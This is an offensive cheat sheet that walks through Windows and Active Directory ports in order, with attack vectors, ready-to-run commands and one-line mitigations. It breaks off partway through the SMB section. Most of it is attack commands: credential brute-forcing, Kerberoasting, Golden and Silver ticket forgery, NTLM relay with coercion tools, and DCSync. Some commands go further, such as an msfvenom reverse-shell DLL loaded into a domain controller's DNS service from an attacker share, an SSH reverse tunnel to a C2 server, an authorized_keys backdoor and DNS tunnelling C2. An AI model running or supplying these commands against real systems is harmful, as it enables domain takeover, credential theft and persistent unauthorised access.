Every Windows and AD-related network port in ascending order, with protocol, service description, enumeration, attack vectors, tools, and mitigations.
Legend:
[AD]= Active Directory |[Win]= General Windows |[TCP]= TCP only |[UDP]= UDP only |[T/U]= Both TCP+UDP[PtH]= Pass-the-Hash |[Relay]= NTLM Relay |[OPSEC]= Operational Security note★★★= High Value Target |★★= Medium Value |★= Low Value
Port Reference Table
| Port | Proto | Service | Type | Red Team Value |
|---|---|---|---|---|
| 9 | UDP | Wake-on-LAN | Win | ★ |
| 20 | TCP | FTP Data | Win | ★ |
| 21 | TCP | FTP Control | Win | ★★ |
| 22 | TCP/UDP | SSH | Win/Lin | ★★ |
| 23 | TCP/UDP | Telnet | Win (Legacy) | ★★ |
| 25 | TCP | SMTP | Win | ★★ |
| 42 | TCP/UDP | WINS | Win | ★ |
| 53 | TCP/UDP | DNS | AD/Win | ★★★ |
| 67 | UDP | DHCP Server | Win | ★★ |
| 68 | UDP | DHCP Client | Win | ★ |
| 69 | UDP | TFTP | Win | ★ |
| 80 | TCP | HTTP | Win | ★★ |
| 88 | TCP/UDP | Kerberos | AD | ★★★ |
| 102 | TCP | X.400 MTA | Win | ★ |
| 110 | TCP | POP3 | Win | ★★ |
| 119 | TCP | NNTP | Win | ★ |
| 123 | UDP | NTP | Win | ★★ |
| 135 | TCP/UDP | RPC Endpoint Mapper | Win/AD | ★★★ |
| 137 | TCP/UDP | NetBIOS Name Service | Win | ★★★ |
| 138 | UDP | NetBIOS Datagram | Win | ★★ |
| 139 | TCP | NetBIOS Session | Win | ★★★ |
| 143 | TCP | IMAP | Win | ★★ |
| 161 | UDP | SNMP | Win | ★★ |
| 162 | TCP/UDP | SNMP Trap | Win | ★ |
| 389 | TCP/UDP | LDAP | AD | ★★★ |
| 401 | TCP/UDP | UPS | Win | ★ |
| 443 | TCP | HTTPS | Win | ★★ |
| 445 | TCP | SMB / CIFS | Win/AD | ★★★ |
| 464 | TCP/UDP | Kerberos Password Change | AD | ★★ |
| 500 | UDP | IPsec ISAKMP | Win | ★ |
| 543 | TCP | Kerberos Login | AD | ★ |
| 544 | TCP | Kerberos Shell | AD | ★ |
| 546 | TCP/UDP | DHCPv6 Client | Win | ★ |
| 547 | TCP/UDP | DHCPv6 Server | Win | ★ |
| 563 | TCP | NNTP over SSL | Win | ★ |
| 593 | TCP | RPC over HTTP | Win | ★★ |
| 636 | TCP | LDAPS | AD | ★★★ |
| 647 | TCP | DHCP Failover | Win | ★ |
| 873 | TCP | Rsync | Win/Lin | ★★ |
| 989 | TCP/UDP | FTPS Data | Win | ★ |
| 990 | TCP | FTPS Control | Win | ★ |
| 993 | TCP | IMAPS | Win | ★★ |
| 995 | TCP | POP3S | Win | ★★ |
| 1433 | TCP | MSSQL | Win | ★★★ |
| 1434 | UDP | MSSQL Browser | Win | ★★ |
| 1645 | UDP | Legacy RADIUS | Win | ★ |
| 1646 | UDP | Legacy RADIUS Acct | Win | ★ |
| 1701 | UDP | L2TP | Win | ★ |
| 1723 | TCP | PPTP | Win | ★★ |
| 1801 | TCP/UDP | MSMQ | Win | ★★ |
| 1812 | TCP/UDP | RADIUS Auth | Win | ★★ |
| 1813 | TCP/UDP | RADIUS Acct | Win | ★ |
| 2101 | TCP | MSMQ-DCs | Win | ★ |
| 2103 | TCP | MSMQ-RPC | Win | ★ |
| 2105 | TCP | MSMQ-RPC | Win | ★ |
| 2107 | TCP | MSMQ-Mgmt | Win | ★ |
| 2535 | UDP | MADCAP (DHCP Multicast) | Win | ★ |
| 3268 | TCP | Global Catalog LDAP | AD | ★★★ |
| 3269 | TCP | Global Catalog LDAPS | AD | ★★★ |
| 3343 | TCP/UDP | Cluster Service | Win | ★ |
| 3389 | TCP/UDP | RDP | Win | ★★★ |
| 3527 | UDP | MSMQ Ping | Win | ★ |
| 3702 | UDP | BranchCache Discovery | Win | ★ |
| 4500 | UDP | IPsec NAT-T | Win | ★ |
| 5722 | TCP | DFSR RPC | AD | ★★ |
| 5985 | TCP | WinRM (HTTP) | Win | ★★★ |
| 5986 | TCP | WinRM (HTTPS) | Win | ★★★ |
| 6600 | TCP | Hyper-V Live Migration | Win | ★★ |
| 9389 | TCP | AD Web Services (ADWS) | AD | ★★★ |
| 42424 | TCP | ASP.NET State Service | Win | ★ |
| 47001 | TCP | WinRM (Alt) | Win | ★★ |
| 48885 | TCP | IPAM | Win | ★ |
| 49443 | TCP | ADFS | AD | ★★★ |
| 49152-65535 | TCP | RPC Ephemeral / Dynamic | Win/AD | ★★★ |
Detailed Port Breakdown
PORT 9 — Wake-on-LAN [Win]
Protocol: UDP Service: Wake-on-LAN (WoL). Sends "magic packet" to remotely power on computers.
Attack Vectors
- Abuse for Persistence/Wake: An attacker with network access can send WoL magic packets to powered-off machines (e.g., to wake a machine for lateral movement at off-hours).
# Send WoL Magic Packet
wakeonlan <MAC_ADDRESS>
# Example:
wakeonlan AA:BB:CC:DD:EE:FF
Mitigation: Disable WoL in BIOS unless required. Restrict UDP 9 at the network perimeter.
PORT 20 — FTP Data [Win]
Protocol: TCP Service: File Transfer Protocol (active mode data transfer channel).
Attack Vectors
- Cleartext File Theft: FTP transfers data in plaintext — capture via Wireshark/tcpdump.
- Anonymous FTP: Many misconfigured servers allow anonymous read/write.
- Data Exfiltration Channel: Upload loot via FTP to attacker-controlled server.
# Check anonymous access
ftp <target_IP>
# username: anonymous, password: anything@email.com
# Capture FTP traffic (including credentials!)
sudo tcpdump -i eth0 port 21 or port 20 -A
# Download all files from anonymous FTP
wget -r --no-passive ftp://anonymous:anon@<target_IP>/
Mitigation: Disable FTP entirely. Use SFTP (port 22). Disable anonymous access.
PORT 21 — FTP Control [Win] ★★
Protocol: TCP Service: FTP command/control channel. Handles login, directory navigation, and transfer commands.
Attack Vectors
- Credential Brute-force: Target the FTP login.
- CVE-2009-3023 (IIS FTP): Remote code execution via malformed NLST command.
- Bounce Attacks: Use an FTP server to port-scan third-party hosts.
- Credential Sniffing: All creds transmitted cleartext.
- Anonymous Writable FTP: Upload web shells if FTP root overlaps with web root.
# Banner grab (reveals FTP version)
nc -nv <target_IP> 21
# Brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<target_IP>
medusa -h <target_IP> -u admin -P wordlist.txt -M ftp
# Anonymous login check
nmap -sV --script ftp-anon <target_IP>
nmap --script ftp-brute <target_IP>
# Nmap FTP scripts
nmap --script ftp-vuln* <target_IP>
Mitigation: Replace FTP with SFTP/FTPS. Disable anonymous access. Enable strong passwords.
PORT 22 — SSH [Win/Linux] ★★
Protocol: TCP/UDP Service: Secure Shell. Encrypted remote command-line access. Present in Windows (OpenSSH since Win10/Server 2019) and Linux.
Attack Vectors
- Brute-force / Credential Stuffing: Common with weak/default passwords.
- Private Key Theft: Steal
~/.ssh/id_rsafrom compromised host → gain access to other servers. - Port Forwarding / Tunneling: SSH local/remote/dynamic port forwards for pivoting.
- Authorized Keys Backdoor: Add attacker's pub key to
~/.ssh/authorized_keysfor persistence. - Weak Algorithm Exploitation: Legacy ciphers (e.g., arcfour, 3DES) may be crackable.
# Banner grab / version detection
nc -nv <target_IP> 22
nmap -sV -p22 <target_IP>
# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target_IP>
# Check supported algorithms (find weak ones)
nmap --script ssh2-enum-algos <target_IP>
# SSH Local Port Forward (pivot through SSH host)
ssh -L 8080:INTERNAL_TARGET:80 user@SSH_HOST -N
# SSH Dynamic (SOCKS) proxy via compromised host
ssh -D 1080 user@<target_IP> -N
# Then: proxychains nmap INTERNAL_SUBNET
# SSH Remote Port Forward (reverse tunnel - C2 style)
ssh -R 4444:localhost:4444 attacker@C2_SERVER -N
# Persistence: Add public key
echo "ssh-rsa AAAA...attacker_key" >> /home/user/.ssh/authorized_keys
Mitigation: Disable root login. Enforce key-based auth only. Use AllowUsers. Rate-limit with fail2ban.
PORT 23 — Telnet [Win Legacy] ★★
Protocol: TCP/UDP Service: Telnet. Unencrypted remote terminal. Legacy; should not exist on modern networks.
Attack Vectors
- Full Cleartext Capture: Everything including passwords is plaintext.
- MITM Attack: Intercept and modify session traffic trivially.
- Brute-force: Weak passwords + no lockout on old devices.
# Connect
telnet <target_IP> 23
# Brute force
hydra -l admin -P wordlist.txt telnet://<target_IP>
# Capture credentials
sudo tcpdump -i eth0 port 23 -A -w telnet_cap.pcap
Mitigation: Disable Telnet completely. Replace with SSH. Enable Windows Firewall block on port 23.
PORT 25 — SMTP [Win] ★★
Protocol: TCP Service: Simple Mail Transfer Protocol. Email routing between servers. Used in Exchange, IIS SMTP.
Attack Vectors
- Open Relay: SMTP servers misconfigured to relay mail for anyone → phishing / spam origin.
- User Enumeration (VRFY/EXPN/RCPT TO): Enumerate valid domain users.
- Credential Brute-force: SMTP AUTH login.
- Email Spoofing: Forge sender address if SPF/DKIM/DMARC not enforced.
- Mail Header Injection: Inject headers to redirect or forge messages.
# Banner grab
nc -nv <target_IP> 25
# Enumerate users via VRFY
smtp-user-enum -M VRFY -U users.txt -t <target_IP>
smtp-user-enum -M RCPT -U users.txt -D corp.local -t <target_IP>
# Check for Open Relay
nmap --script smtp-open-relay <target_IP>
# Manual test
nc -nv <target_IP> 25
EHLO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<externaluser@gmail.com> # If 250 OK → Open Relay!
# Nmap SMTP scripts
nmap --script smtp-enum-users,smtp-commands,smtp-vuln* <target_IP>
Mitigation: Disable open relay. Enforce SMTP AUTH. Configure SPF, DKIM, DMARC. Use TLS (STARTTLS).
PORT 42 — WINS [Win] ★
Protocol: TCP/UDP Service: Windows Internet Name Service. NetBIOS name resolution for legacy networks.
Attack Vectors
- Legacy Name Spoofing: WINS poisoning to redirect NetBIOS name lookups.
- Enumeration: Query WINS server for registered hostnames and IP addresses.
# Query WINS server
nmblookup -U <WINS_SERVER_IP> -R HOSTNAME
Mitigation: Disable WINS entirely. Not needed in modern AD environments.
PORT 53 — DNS [AD/Win] ★★★
Protocol: TCP/UDP Service: Domain Name System. Critical for AD (SRV records, DC location, replication, Kerberos).
Attack Vectors
- Zone Transfer (AXFR): Download entire DNS zone → full network map.
- DNS Enumeration: Enumerate subdomains, MX, SRV, PTR records.
- DNSAdmins DLL Injection: Members of DnsAdmins can load malicious DLL into DNS service running as SYSTEM on DC.
- ADIDNS Hijacking: Add wildcard records to catch stray DNS queries.
- DNS Cache Poisoning: Poison resolver cache to redirect traffic.
- DNS Tunneling (C2): Exfiltrate data or run C2 over DNS queries (dnscat2, Sliver DNS, CS DNS beacon).
- Reverse DNS Lookup: Map IP to hostname for internal reconnaissance.
# Zone Transfer
dig axfr @<DC_IP> corp.local
host -l corp.local <DC_IP>
dnsrecon -d corp.local -t axfr
# Enumerate AD SRV records (find DCs)
dig SRV _ldap._tcp.dc._msdcs.corp.local @<DC_IP>
dig SRV _kerberos._tcp.corp.local @<DC_IP>
dig SRV _gc._tcp.corp.local @<DC_IP>
# Subdomain brute force
dnsrecon -d corp.local -t brt -D /usr/share/dnsrecon/namelist.txt
gobuster dns -d corp.local -w /usr/share/wordlists/subdomains-top1million-5000.txt
# Find all hosts via reverse PTR
dnsrecon -d corp.local -t rvl -r 10.10.10.0/24
# DNSAdmins DLL Injection (after GetMembership to confirm group)
# Step 1: Create malicious DLL (reverse shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o malicious.dll
# Step 2: Host on SMB share (or UNC path)
impacket-smbserver share /tmp/malicious/ -smb2support
# Step 3: Load via dnscmd
dnscmd <DC_HOSTNAME> /config /serverlevelplugindll \\ATTACKER_IP\share\malicious.dll
# Step 4: Restart DNS service (needs ServiceControl rights or social engineering)
sc \\<DC> stop DNS
sc \\<DC> start DNS
# → SYSTEM shell on DC!
# ADIDNS Wildcard (for NTLM capture) - using PowerMad
Invoke-DNSUpdate -DNSName "*" -DNSData <ATTACKER_IP> -DNSType A
# All unresolved DNS names now point to attacker → Responder captures hashes!
# DNS Tunneling C2
# dnscat2 server:
ruby dnscat2.rb --dns "domain=dns.corp.local,host=0.0.0.0"
# dnscat2 client (on victim):
.\dnscat2.exe dns.corp.local
# Cobalt Strike DNS Beacon
# CS Listener: DNS → _msdcs.corp.local → runs C2 over TXT queries
Mitigation: Restrict Zone Transfers to secondary DCs only. Audit DnsAdmins group membership. Enable DNS logging. Block external DNS queries from internal hosts.
PORT 67 — DHCP Server [Win] ★★
Protocol: UDP Service: DHCP Server. Automatically assigns IP addresses and network configuration.
Attack Vectors
- Rogue DHCP Server (DHCP Starvation): Exhaust the DHCP pool with spoofed requests, then stand up a rogue DHCP server to assign attacker-controlled DNS/gateway settings → full MITM.
- DHCP Poison: Configure rogue DHCP to set attacker as DNS → all DNS queries intercepted.
# DHCP Starvation (exhaust IP pool)
yersinia -G # GUI tool
dhcpstarv -i eth0 # flood with fake DHCP requests
# Rogue DHCP (after starvation) using metasploit
use auxiliary/server/dhcp
set SRVHOST 0.0.0.0
set DNSSERVER ATTACKER_IP
set ROUTER ATTACKER_IP
run
# Monitor DHCP traffic
sudo tcpdump -i eth0 port 67 or port 68 -n
Mitigation: Enable DHCP Snooping on managed switches. Use DHCP Failover for redundancy. Monitor rogue DHCP activity (Event ID 1020).
PORT 68 — DHCP Client [Win] ★
Protocol: UDP Service: DHCP Client. Receives IP configuration from DHCP server.
Attack Vectors
- Passive: No direct attacks on client port; attacks target port 67.
- MITM via Rogue DHCP: See Port 67.
PORT 69 — TFTP [Win] ★
Protocol: UDP Service: Trivial File Transfer Protocol. Lightweight, unauthenticated file transfer.
Attack Vectors
- No Authentication: Download/upload files without any credentials.
- Config Theft: Steal network device configurations (routers/switches often use TFTP for config backup).
# Download file via TFTP (no auth!)
tftp <target_IP>
get config.txt
# Scan for TFTP
nmap -sU -p69 --script tftp-enum <target_IP>
Mitigation: Disable TFTP unless strictly required. Firewall UDP 69 at perimeter.
PORT 80 — HTTP [Win] ★★
Protocol: TCP Service: Hypertext Transfer Protocol. IIS, Apache, Nginx web servers on Windows.
Attack Vectors
- Web Application Attacks: SQLi, XSS, SSRF, LFI, RCE.
- IIS Exploitation: WebDAV, tilde enumeration, PUT method abuse.
- Credential Theft: Basic auth over cleartext.
- C2 Callback Channel: Unencrypted HTTP C2 (Cobalt Strike HTTP listener, Sliver HTTP).
- SharePoint / Exchange OWA: Harvest credentials via fake login pages.
# Web enumeration
gobuster dir -u http://<target_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
feroxbuster -u http://<target_IP> --depth 2
# IIS tilde enumeration (short filename disclosure)
IIS-ShortName-Scanner.py http://<target_IP>
# WebDAV check
davtest -url http://<target_IP>/webdav/
cadaver http://<target_IP>/webdav/
# Nikto (basic vuln scan)
nikto -h http://<target_IP>
# SQLi
sqlmap -u "http://<target_IP>/page.asp?id=1" --dbs --batch
Mitigation: Disable WebDAV unless needed. Patch IIS regularly. Use WAF. Move to HTTPS.
PORT 88 — Kerberos [AD] ★★★
Protocol: TCP/UDP Service: Kerberos Authentication KDC. Core AD authentication protocol.
Attack Vectors
- User Enumeration: AS-REQ with wrong password returns
KRB5KDC_ERR_PREAUTH_REQUIREDfor valid users,KRB5KDC_ERR_C_PRINCIPAL_UNKNOWNfor invalid. - Password Spraying (Kerberos): Low-noise spraying via Kerberos (doesn't trigger LDAP lockout counters in some configs).
- AS-REP Roasting: Accounts with "Pre-auth not required" → request AS-REP hash → crack offline.
- Kerberoasting: Request TGS tickets for SPN accounts → crack RC4/AES hash offline.
- Brute Force (kerbrute): Smart Kerberos brute-force that avoids lockouts.
- Golden Ticket: Forge TGT with KRBTGT hash → full domain persistence.
- Silver Ticket: Forge service ticket with service account hash → access specific service.
- Diamond Ticket: Modify legitimate TGT (harder to detect than Golden Ticket).
- Sapphire Ticket: Copy PAC from real admin ticket → stealthiest forgery.
- Overpass-the-Hash (OPtH): Use NTLM hash to request a Kerberos TGT.
- Pass-the-Ticket (PtT): Inject stolen .kirbi ticket into session.
# User enumeration (kerbrute)
kerbrute userenum --dc <DC_IP> -d corp.local /usr/share/wordlists/userlist.txt
# Password spray (low-and-slow, avoids lockouts)
kerbrute passwordspray --dc <DC_IP> -d corp.local users.txt 'Winter2024!'
# AS-REP Roasting (no pre-auth accounts)
impacket-GetNPUsers corp.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt -dc-ip <DC_IP>
impacket-GetNPUsers corp.local/user:pass -dc-ip <DC_IP> -format hashcat # Authenticated
# Crack AS-REP hash
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# Kerberoasting (find + request TGS hashes)
impacket-GetUserSPNs corp.local/user:pass -dc-ip <DC_IP> -request -outputfile kerb.txt
# OR with Pass-the-Hash:
impacket-GetUserSPNs corp.local/user -dc-ip <DC_IP> -hashes :<NTLM> -request
# Crack Kerberoast hashes
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt # RC4 (fast!)
hashcat -m 19600 kerb.txt /usr/share/wordlists/rockyou.txt # AES-128
hashcat -m 19700 kerb.txt /usr/share/wordlists/rockyou.txt # AES-256
# Overpass-the-Hash (NTLM → TGT)
impacket-getTGT corp.local/user -hashes :<NTLM>
export KRB5CCNAME=user.ccache
impacket-psexec corp.local/user@TARGET -k -no-pass
# Pass-the-Ticket (inject .kirbi)
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
impacket-smbexec corp.local/user@TARGET -k -no-pass
# Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec corp.local/Administrator@TARGET -k -no-pass
# Silver Ticket
impacket-ticketer -nthash <SERVICE_ACCOUNT_HASH> -domain-sid S-1-5-21-... -domain corp.local -spn cifs/TARGET.corp.local Administrator
Mitigation: Enable Kerberos pre-authentication for all accounts. Use AES-256 (disable RC4). Use long passwords (> 25 chars) for service accounts. Monitor Event IDs: 4768, 4769, 4771.
PORT 102 — X.400 MTA [Win] ★
Protocol: TCP Service: X.400 Message Transfer Agent. Used by Exchange Server for backward-compatible mail routing.
Attack Vectors
- Legacy Exchange Enumeration: Fingerprint old Exchange environments.
- X.400 MITM: Rarely exploited but relevant in ancient Exchange mixed-mode environments.
nmap -sV -p102 <target_IP>
PORT 110 — POP3 [Win] ★★
Protocol: TCP Service: Post Office Protocol v3. Email retrieval from mail servers.
Attack Vectors
- Cleartext Credentials: POP3 transmits auth in plaintext.
- Brute Force: Target email account credentials.
- Email Harvesting: Read emails for intelligence gathering (passwords, tokens, internal info).
# Manual test
nc -nv <target_IP> 110
USER john
PASS password
LIST
RETR 1 # Read first email
# Brute force
hydra -l user@corp.local -P wordlist.txt pop3://<target_IP>
Mitigation: Enforce POP3S (port 995). Disable POP3 if using Outlook/Exchange.
PORT 119 — NNTP [Win] ★
Protocol: TCP Service: Network News Transfer Protocol. Rarely used in modern environments.
Attack Vectors
- Version Fingerprinting: Old NNTP servers may have unpatched vulnerabilities.
- Unauthenticated Access: Some NNTP servers allow anonymous message reading.
nc -nv <target_IP> 119
nmap --script nntp-ntlm-info <target_IP>
PORT 123 — NTP [Win] ★★
Protocol: UDP Service: Network Time Protocol. Time synchronization — CRITICAL for Kerberos (5-minute tolerance).
Attack Vectors
- NTP Amplification (DDoS): Abuse
monlistcommand for UDP reflection amplification. - Time Skew Attack: Desync domain time → break Kerberos authentication for all domain computers.
- NTP MITM: Spoof NTP server → manipulate time → invalidate certificates / Kerberos tickets.
- Reconnaissance: NTP reveals system version info via
ntpq.
# Enumerate NTP server details
ntpq -c readvar <target_IP>
ntpdate -q <target_IP>
# Check for monlist (DDoS amplification)
nmap --script ntp-monlist <target_IP>
# Force time sync to specific server (for testing)
ntpdate -u <target_IP>
Mitigation: Disable monlist in NTP config. Use authenticated NTP (NTPv4). In AD, only PDC emulator should sync externally.
PORT 135 — RPC Endpoint Mapper [Win/AD] ★★★
Protocol: TCP Service: Microsoft RPC Endpoint Mapper (EPMAP). Entry point for all RPC communications. Maps service requests to their dynamic high ports.
Attack Vectors
- Service Enumeration: Query what RPC services are running → find DCSync/WMI/DCOM targets.
- DCOM/WMI Lateral Movement: WMI commands initiated here → move to high port.
- DCSync (via DRSUAPI): Initial RPC connection → then moves to ephemeral port.
- Coercion Attacks (PrinterBug/PetitPotam): Trigger authentication via RPC calls (MS-RPRN, MS-EFSR).
- Null Session Exploitation: Enumerate users/shares via anonymous RPC connections.
# Enumerate all RPC endpoints
impacket-rpcdump <target_IP>
impacket-rpcdump corp.local/user:pass@<target_IP>
# Look for Print Spooler (coercion target)
impacket-rpcdump <target_IP> | grep -i "spoolsv\|spooler\|print"
# Look for EFS (PetitPotam target)
impacket-rpcdump <target_IP> | grep -i "efsr\|lsarpc\|netlogon"
# WMI Lateral Movement (uses 135 for init)
impacket-wmiexec corp.local/user:pass@<target_IP>
impacket-wmiexec corp.local/user@<target_IP> -hashes :<NTLM>
# DCSync (negotiates via 135, executes on high port)
impacket-secretsdump corp.local/domainadmin:pass@<DC_IP>
# Coerce DC authentication (PrinterBug)
python3 printerbug.py corp.local/user:pass@<DC_IP> <ATTACKER_IP>
# Coerce DC authentication (PetitPotam - no creds needed!)
python3 PetitPotam.py <ATTACKER_IP> <DC_IP>
Mitigation: Block port 135 at the perimeter. Disable Print Spooler on DCs. Apply MS-EFSR hardening patches. Filter DCOM via Windows Firewall.
PORTS 137 — NetBIOS Name Service [Win] ★★★
Protocol: TCP/UDP Service: NetBIOS Name Service (NBNS). Resolves NetBIOS names to IP addresses (legacy DNS substitute).
Attack Vectors
- LLMNR/NBT-NS Poisoning (Responder): When DNS fails, Windows broadcasts NBNS requests. Responder intercepts and replies → captures NTLMv2 hashes.
- Null Session: Enumerate users, shares, and domain information anonymously.
- NBNS Spoofing: Impersonate hostnames to redirect traffic to attacker.
# Capture NTLMv2 hashes via Responder (KING of attacks)
sudo responder -I eth0 -v
# Wait for any DNS failure → captures hashes automatically!
# Output: /usr/share/responder/logs/
# Crack captured NTLMv2
hashcat -m 5600 /usr/share/responder/logs/NTLMv2*.txt /usr/share/wordlists/rockyou.txt
# Relay captured hash (SMB Signing disabled)
sudo responder -I eth0 -v --disable-ess -w --lm
# In another terminal:
ntlmrelayx.py -tf relay.txt -smb2support
# Enumerate via nbtscan
nbtscan -r 10.10.10.0/24
# NetBIOS null session enum
nmblookup -A <target_IP>
Mitigation: Disable LLMNR via GPO: Computer → Admin Templates → Network → DNS Client → Turn off multicast name resolution → Enable. Disable NBT-NS in network adapter settings.
PORT 138 — NetBIOS Datagram [Win] ★★
Protocol: UDP Service: NetBIOS Datagram Service. Connectionless data delivery for Windows browsing, domain-wide broadcasts.
Attack Vectors
- Domain Enumeration: Used by the Computer Browser service to announce machines.
- Name Poisoning: Broadcast fake machine announcements.
# Capture NetBIOS datagram traffic
sudo tcpdump -i eth0 port 138 -n
Mitigation: Disable NetBIOS over TCP/IP on all adapters.
PORT 139 — NetBIOS Session [Win] ★★★
Protocol: TCP Service: NetBIOS Session Service. SMB over NetBIOS (legacy). Port 445 is the modern equivalent.
Attack Vectors
- SMB via NetBIOS: Older lateral movement tools default to this when 445 fails.
- Null Session Enumeration: Enumerate shares, users, policies without credentials.
- Pass-the-Hash (via NetBIOS SMB): Same as 445 but for legacy targets.
# Null session enumeration
enum4linux -a <target_IP>
enum4linux-ng -A <target_IP>
# Check shares
smbclient -L \\\\<target_IP>\\ -N # -N = no password
# Connect via SMB (139)
smbclient \\\\<target_IP>\\SHARE -U user -p pass --port=139
Mitigation: Block port 139 at perimeter. Disable SMBv1. Require SMB Signing.
PORT 143 — IMAP [Win] ★★
Protocol: TCP Service: Internet Message Access Protocol. Email access/management protocol.
Attack Vectors
- Cleartext Credentials: IMAP transmits login credentials in plaintext.
- Brute Force: Target email account passwords.
- Email Exfiltration: Once authenticated, dump all mailbox contents.
# Manual connect
nc -nv <target_IP> 143
A1 LOGIN user password
A2 LIST "" "*"
A3 SELECT INBOX
A4 FETCH 1 BODY[] # Read first email
# Brute force
hydra -l user@corp.local -P wordlist.txt imap://<target_IP>
Mitigation: Enforce IMAPS (port 993). Disable IMAP if Exchange clients use MAPI.
PORT 161 — SNMP [Win] ★★
Protocol: UDP Service: Simple Network Management Protocol. Device monitoring and management.
Attack Vectors
- Community String Brute-force: Default community strings (
public,private) allow full MIB dump. - MIB Enumeration: Dump system info: running processes, installed software, network interfaces, user accounts, routing tables.
- Write Access (RW Community): Community string with write access → change device config.
- SNMP Traps: Capture SNMP traps for network mapping intelligence.
# Enumerate using default community string
snmpwalk -v2c -c public <target_IP>
snmpwalk -v2c -c public <target_IP> 1.3.6.1.4.1.77.1.2.25 # Windows users MIB
snmpwalk -v2c -c public <target_IP> 1.3.6.1.2.1.25.4.2.1.2 # Running processes
# Community string brute force
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt <target_IP>
hydra -P /usr/share/wordlists/rockyou.txt <target_IP> snmp
# Full SNMP enumeration (all info)
snmp-check <target_IP> -c public
# Nmap SNMP scripts
nmap -sU -p161 --script snmp-brute,snmp-info,snmp-interfaces,snmp-netstat,snmp-processes,snmp-win32-users <target_IP>
Mitigation: Use SNMPv3 with authentication + encryption. Change default community strings. Firewall UDP 161 to only management hosts.
PORT 162 — SNMP Trap [Win] ★
Protocol: TCP/UDP Service: SNMP Trap receiver. Devices send unsolicited alerts to management server.
Attack Vectors
- Passive Intelligence Gathering: Listen on 162 to receive trap events → reveals device alerts, failures, thresholds.
# Listen for SNMP traps
snmptrapd -Lo -f
PORT 389 — LDAP [AD] ★★★
Protocol: TCP/UDP Service: Lightweight Directory Access Protocol. Core AD query protocol.
Attack Vectors
- Anonymous Bind: Dump all AD objects without credentials.
- Authenticated Enumeration: BloodHound, SharpHound, ldapdomaindump.
- Password Spraying via LDAP: Spray credentials (logs less than Kerberos in some configs).
- LDAP Relay: Relay coerced NTLM auth to LDAP to modify AD objects.
- Shadow Credentials: Relay to LDAP → write
msDS-KeyCredentialLink→ authenticate as victim. - RBCD Attack: Relay to LDAP → write
msDS-AllowedToActOnBehalfOfOtherIdentity→ impersonate DA. - Null Base DN: Enumerate domain info via rootDSE (no credentials!).
# Anonymous bind check + rootDSE enum (always works!)
ldapsearch -x -H ldap://<DC_IP> -b "" -s base
ldapsearch -x -H ldap://<DC_IP> -b "dc=corp,dc=local"
# Authenticated full dump
ldapdomaindump -u corp\\user -p pass <DC_IP> -o /tmp/ldap_dump/
# BloodHound collection (comprehensive)
bloodhound-python -u user -p pass -ns <DC_IP> -d corp.local -c All --zip
# Manual user enum
ldapsearch -x -H ldap://<DC_IP> -D "CN=user,CN=Users,DC=corp,DC=local" -w pass \
-b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName userPrincipalName memberOf
# SPN enumeration (Kerberoastable accounts)
ldapsearch -x -H ldap://<DC_IP> -D "corp\\user" -w pass \
-b "DC=corp,DC=local" "(servicePrincipalName=*)" sAMAccountName servicePrincipalName
# Password spray via LDAP
for user in $(cat users.txt); do
ldapsearch -x -H ldap://<DC_IP> -D "corp\\$user" -w 'Password123!' \
-b "DC=corp,DC=local" "(sAMAccountName=$user)" dn 2>&1 | grep -v "Invalid"
done
# NTLM Relay to LDAP → RBCD attack
sudo ntlmrelayx.py -t ldap://<DC_IP> --delegate-access --no-smb-server
sudo python3 PetitPotam.py <ATTACKER_IP> <VICTIM_HOST_IP>
# NTLM Relay to LDAP → Shadow Credentials
sudo ntlmrelayx.py -t ldap://<DC_IP> --shadow-credentials --shadow-target "TARGET$"
Mitigation: Enable LDAP Signing (Domain Controller: LDAP server signing requirements → Require signing). Enable LDAP Channel Binding. Both are configured via GPO.
PORT 401 — UPS [Win] ★
Protocol: TCP/UDP Service: Uninterruptible Power Supply. Management protocol. - Rarely targeted. Check for default credentials on UPS management interfaces.
PORT 443 — HTTPS [Win] ★★
Protocol: TCP Service: HTTP over TLS/SSL. Encrypted web traffic. IIS HTTPS, Exchange HTTPS, ADFS, RPC over HTTPS.
Attack Vectors
- Same web attacks as Port 80 but encrypted.
- RPC over HTTPS (Port 443): Outlook Anywhere uses this; can be abused for RPC tunneling.
- Certificate Analysis: Extract domain names, internal hostnames, CA hierarchy from SSL cert.
- C2 Channel: HTTPS is the primary C2 callback for all major frameworks.
- Exchange CVEs: ProxyLogon (CVE-2021-26855), ProxyShell (CVE-2021-34473), ProxyNotShell.
# SSL certificate analysis
openssl s_client -connect <target_IP>:443 2>/dev/null | openssl x509 -noout -text
sslscan <target_IP>:443
# Enumerate HTTPS
gobuster dir -u https://<target_IP> -w wordlist.txt -k # -k = ignore cert errors
nikto -h https://<target_IP> -ssl
# Exchange ProxyShell check
python3 proxyshell.py -u https://<exchange_IP>
# Test RPC over HTTPS
curl -k https://<exchange_IP>/rpc/
Mitigation: Keep Exchange/IIS patched. Enforce strong TLS (TLS 1.2+). Use WAF. Audit URL paths exposed.
PORT 445 — SMB / CIFS [Win/AD] ★★★
Protocol: TCP Service: Server Message Block. File/printer sharing, named pipes for RPC, lateral movement workhorse.
Attack Vectors
- Pass-the-Hash (PtH): Use NTLM hash to authenticate without plaintext password.
- SMB Relay: Relay captured NTLM auth to SMB on another host (requires SMB Signing off).
- Lateral Movement: PsExec, SMBExec, AtExec, Impacket toolkit.
- Vulnerability Exploitation: EternalBlue MS17-010, SMBGhost CVE-2020-0796.
- Share Enumeration: Find GPP cpassword, scripts with embedded creds, sensitive files.
- SYSVOL Walk: Read domain-wide GPO scripts and policies.
- Named Pipe Abuse: Coerce authentication via named pipes (PrinterBug, PetitPotam).
- DFS Coercion: Trigger auth via DFS referral requests.
# Host discovery via SMB
crackmapexec smb 10.10.10.0/24
# Check SMB Signing (critical for Relay)
